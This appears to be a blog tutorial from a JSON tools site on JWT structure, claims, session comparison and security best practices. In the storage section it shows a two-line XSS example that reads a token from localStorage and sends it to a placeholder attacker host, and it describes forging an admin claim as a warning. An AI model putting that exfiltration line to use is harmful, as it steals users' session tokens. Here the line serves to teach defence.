Free JSON Developer Tools
2026-02-23 · 12 min read · By AllJSONTools
Paste broken JSON and fix it instantly with AI — plain-English explanations included.
A JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact, self-contained way to transmit information between parties as a JSON object. JWTs are widely used for authentication and authorization in modern web applications, single-page apps, mobile backends, and microservice architectures.
Every JWT consists of three parts separated by dots (.):
JWT) and the signing algorithm (e.g., HS256, RS256). This object is Base64Url-encoded to form the first part of the token.The final token looks like xxxxx.yyyyy.zzzzz, where each segment is a Base64Url-encoded string. Because Base64Url encoding uses only URL-safe characters, JWTs can be passed in URL query parameters, HTTP headers, and HTML form fields without additional encoding.
JWT-based authentication follows a straightforward request-response flow. Understanding this flow is essential before diving into security considerations.
1. Client sends credentials (username + password) to the auth server.
2. Server validates credentials against the database.
3. Server generates a JWT containing the user's identity and claims.
4. Server returns the JWT to the client.
5. Client stores the JWT (ideally in an httpOnly cookie).
6. Client sends the JWT with every subsequent request
(typically in the Authorization header: "Bearer <token>").
7. Server verifies the JWT signature and checks expiration.
8. If valid, the server processes the request; otherwise, it returns 401.In production systems, a single long-lived JWT is a security risk. If it is stolen, an attacker has access for the entire token lifetime. The industry-standard solution is to use two tokens:
This pattern balances user experience (no constant re-login) with security (short window of exposure for access tokens). Refresh tokens should be rotated on every use and stored in a database so they can be revoked if a breach is detected.
Let’s break down a real JWT to see how the three parts fit together. Here is a complete token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyLCJleHAiOjE1MTYyNDI2MjIsInJvbGUiOiJhZG1pbiJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cDecoding the first segment from Base64Url yields:
{
"alg": "HS256",
"typ": "JWT"
}The alg field tells the server which algorithm was used to sign the token. The typ field confirms it is a JWT. Common algorithms include HS256 (HMAC with SHA-256, symmetric), RS256 (RSA with SHA-256, asymmetric), and ES256 (ECDSA with P-256, asymmetric).
Decoding the second segment reveals the claims:
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"role": "admin"
}Claims like sub, iat, and exp are registered claims defined by the JWT specification. name and role are custom claims added by the application. Remember: the payload is only Base64Url-encoded, not encrypted. Anyone with the token can read these values. Never put sensitive data like passwords, credit card numbers, or API keys in the payload.
The signature is computed using the algorithm specified in the header. For HS256, the formula is:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)The server uses this signature to verify that the token has not been modified. If even a single character in the header or payload changes, the signature will not match, and the server will reject the token. You can decode and inspect JWTs instantly with our JWT Decoder tool.
The JWT specification defines a set of registered claims that are not mandatory but are recommended to provide interoperability. Here are the standard claims you will encounter most often:
| Claim | Full Name | Description |
|---|---|---|
iss | Issuer | Identifies the principal that issued the JWT (e.g., your auth server URL). |
sub | Subject | Identifies the subject of the JWT, typically the user ID. |
aud | Audience | Identifies the recipients the JWT is intended for (e.g., your API domain). Tokens should be rejected if the audience does not match. |
exp | Expiration Time | A Unix timestamp after which the token must not be accepted. Always set this claim. |
nbf | Not Before | A Unix timestamp before which the token must not be accepted. Useful for tokens issued in advance. |
iat | Issued At | A Unix timestamp indicating when the token was created. Useful for determining the age of a token. |
jti | JWT ID | A unique identifier for the token. Can be used to prevent token replay attacks by tracking used IDs server-side. |
Beyond these registered claims, you can add any custom claims your application needs, such as role, permissions, or organization_id. Keep custom claims minimal to reduce token size — remember, the token is sent with every request.
JWT authentication and traditional session-based authentication solve the same problem — keeping a user logged in across requests — but they approach it differently. Understanding the trade-offs helps you choose the right approach for your architecture.
| Aspect | JWT | Session-Based |
|---|---|---|
| State | Stateless — the token contains all needed data | Stateful — session data stored on the server |
| Storage | Client-side (cookie or header) | Server-side (memory, database, or Redis) |
| Scalability | Excellent — no shared session store needed across servers | Requires sticky sessions or a centralized session store |
| Revocation | Difficult — tokens are valid until they expire (requires a blocklist for early revocation) | Easy — delete the session from the server |
| Cross-Domain | Works well across domains and services (ideal for microservices) | Cookies are domain-scoped; cross-domain is harder |
| Size | Larger — payload grows with claims | Small — only a session ID is sent to the client |
| Best For | SPAs, mobile apps, microservices, third-party integrations | Traditional server-rendered apps, applications requiring instant revocation |
Many production systems use a hybrid approach: JWTs for stateless authentication between services, combined with a server-side revocation list (blocklist) for handling logouts, password changes, and compromised tokens.
JWTs are deceptively simple to implement, which leads many developers to overlook critical security issues. The following pitfalls are the most common causes of JWT-related vulnerabilities in production applications.
This is the most fundamental misunderstanding about JWTs. The payload is Base64Url-encoded, not encrypted. Anyone who intercepts the token can decode it in seconds. You can verify this yourself by pasting any JWT into our JWT Decoder — the payload is instantly readable without any key.
// Anyone can decode a JWT payload — no secret needed
const token = "eyJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6InMzY3IzdCJ9.xxx";
const payload = JSON.parse(atob(token.split(".")[1]));
console.log(payload);
// Output: { "password": "s3cr3t" } <-- EXPOSED!Never include passwords, API keys, credit card numbers, social security numbers, or any other sensitive data in a JWT payload. If you need to transmit encrypted data, use JWE (JSON Web Encryption) instead of JWS (JSON Web Signature).
A JWT without an exp claim is valid forever. If a token without an expiration is ever leaked, the attacker has permanent access. Always set the exp claim and always verify it server-side before processing the request.
// Node.js example — always verify expiration
const jwt = require("jsonwebtoken");
try {
const decoded = jwt.verify(token, secret, {
algorithms: ["HS256"], // Restrict allowed algorithms
maxAge: "15m", // Reject tokens older than 15 minutes
});
// Token is valid
} catch (err) {
if (err.name === "TokenExpiredError") {
// Token has expired — return 401
}
}Not all signing algorithms are equal. HS256 (HMAC) uses a shared secret, which means both the issuer and the verifier must know the same secret. This works fine for monolithic applications, but in microservice architectures or public APIs, sharing secrets across services creates a larger attack surface.
For public APIs and distributed systems, prefer RS256 or ES256 (asymmetric algorithms). The auth server signs tokens with a private key, and all other services verify tokens with the corresponding public key. The public key cannot be used to forge new tokens, so it can be distributed freely.
Critical: Never accept the none algorithm in production. Some libraries have historically allowed tokens with "alg": "none", which means no signature verification at all. Always whitelist the specific algorithms your application expects.
// WRONG — accepts any algorithm, including "none"
jwt.verify(token, secret);
// CORRECT — restrict to specific algorithms
jwt.verify(token, secret, { algorithms: ["RS256"] });Storing JWTs in localStorage or sessionStorage makes them accessible to any JavaScript running on the page. If your application has a cross-site scripting (XSS) vulnerability — even in a third-party library — an attacker can steal the token with a single line of code:
// An XSS attack can steal tokens from localStorage
const stolenToken = localStorage.getItem("access_token");
fetch("https://attacker.com/steal?token=" + stolenToken);Instead, store JWTs in httpOnly cookies. These cookies are not accessible to JavaScript, which completely mitigates XSS-based token theft. Combine this with the Secure flag (HTTPS only), SameSite=Strict or SameSite=Lax (CSRF protection), and a short expiration time for defense in depth.
// Express.js — set JWT as httpOnly cookie
res.cookie("access_token", token, {
httpOnly: true, // Not accessible via JavaScript
secure: true, // Only sent over HTTPS
sameSite: "strict", // CSRF protection
maxAge: 15 * 60 * 1000, // 15 minutes
path: "/",
});It may sound obvious, but some applications decode the JWT payload on the client and use those claims for authorization without ever verifying the signature on the server. An attacker can trivially craft a token with "role": "admin", Base64Url-encode it, and send it to the server. If the server trusts the payload without checking the signature, the attacker has full admin access.
Every protected endpoint must verify the JWT signature using the server’s secret or public key before trusting any claims. Use a well-maintained library (such as jsonwebtoken for Node.js, PyJWT for Python, or golang-jwt for Go) and let it handle signature verification, expiration checking, and algorithm validation.
The following checklist summarizes the most important security recommendations for working with JWTs in production:
exp). Keep access tokens short-lived (5–15 minutes). Use refresh tokens for longer sessions.RS256 or ES256 over HS256 when multiple services need to verify tokens.none.localStorage and sessionStorage to prevent XSS-based token theft.exp, nbf, iss, and aud server-side. Do not skip these checks.jti) for scenarios like logout, password change, or detected compromise.SameSite cookie attributes and consider adding a CSRF token for state-changing requests.secret or password123.When troubleshooting authentication issues, the first step is to inspect the token itself. Common problems include expired tokens, mismatched audiences, incorrect algorithms, and malformed payloads. Being able to quickly decode and examine a JWT saves hours of debugging.
You can decode a JWT from the command line using a one-liner:
# Decode the header
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d 2>/dev/null | jq .
# Decode the payload
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0" | base64 -d 2>/dev/null | jq .For a faster, more visual experience, use our free JWT Decoder tool. Simply paste your token and instantly see the decoded header, payload, and signature verification status. The tool runs entirely in your browser — your token is never sent to a server, making it safe to use with production tokens.
When debugging, pay attention to these fields:
exp — Has the token expired? Convert the Unix timestamp to a human-readable date.aud — Does the audience match what your server expects?iss — Is the issuer the expected auth server?alg — Is the algorithm what you expect? An unexpected algorithm could indicate a token crafting attack.If you are working with JSON data from API responses that contain JWTs, you can also use our JSON Formatter to pretty-print the full response and locate the token within the payload.
JWTs are a powerful and flexible standard for authentication, but their simplicity can be deceptive. By understanding the structure, respecting the security boundaries, and following the best practices outlined in this guide, you can implement JWT-based authentication that is both developer-friendly and production-safe.
Paste broken JSON and fix it instantly with AI — plain-English explanations included.
Learn how to safely parse, validate, and handle JSON API responses in production. Covers Zod, JSON Schema, error handling strategies, and type-safe clients.
Learn what JSON Schema is, how it works, and how to use it for API validation, form generation, and data documentation. Includes examples and common patterns.
Master JSON API design with 12 proven best practices — response envelopes, naming conventions, pagination, error handling, versioning, security headers, and more. Includes code examples.